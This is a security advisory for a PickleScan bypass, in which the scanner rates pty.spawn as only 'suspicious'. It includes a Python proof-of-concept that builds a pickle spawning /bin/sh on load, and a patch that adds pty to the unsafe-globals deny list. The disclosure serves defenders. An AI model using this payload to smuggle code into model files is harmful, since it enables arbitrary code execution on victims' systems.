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Advisory details: pypa / picklescan/PYSEC-2026-1790
Advisory ID pypa/picklescan/PYSEC-2026-1790
Aliases CVE-2025-71322
GHSA-hgrh-qx5j-jfwx
PYSEC-2026-1790
Summary Picklescan Bypasses Unsafe Globals Check using pty.spawn ### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. ### Details For 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released. The intended way was to use `pty.spawn` but some players found alternative solutions. ### PoC - Run the following Python code to generate the PoC pickle file. ```py import pickle command = b"/bin/sh" payload = b"".join( [ pickle.PROTO + pickle.pack("B", 4), pickle.MARK, pickle.GLOBAL + b"pty\n" + b"spawn\n", pickle.EMPTY_LIST, pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command, pickle.APPEND, # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes pickle.OBJ, pickle.STOP, ] ) with open("dump.pkl", "wb") as f: f.write(payload) ``` - Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" /> PickleScan detects the `pty.spawn` global as "suspicious" but not "dangerous", allowing it to be loaded. ### Impact **Severity**: High **Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. **Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded. ### Suggested Patch ``` diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py index 34a5715..b434069 100644 --- a/src/picklescan/scanner.py +++ b/src/picklescan/scanner.py @@ -150,6 +150,7 @@ _unsafe_globals = { "_pickle": "*", "pip": "*", "profile": {"Profile.run", "Profile.runctx"}, + "pty": "spawn", "pydoc": "pipepager", # pydoc.pipepager('help','echo pwned') "timeit": "*", "torch._dynamo.guards": {"GuardBuilder.get"}, ```
Status Published
Exploitability 0.5
Weighted Severity 7.9
Risk 4.0
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (0)
There are no known CWE.
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Found at https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1790.yaml
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-06-18T15:17:59Z/

Decision: Track

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/71xxx/CVE-2025-71322.json

Source Advisory: vulnrichment/CVE-2025-71322

View SSVC decision tree
[{'Exploitation': 'none'},
 {'Automatable': 'no'},
 {'Technical Impact': 'total'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]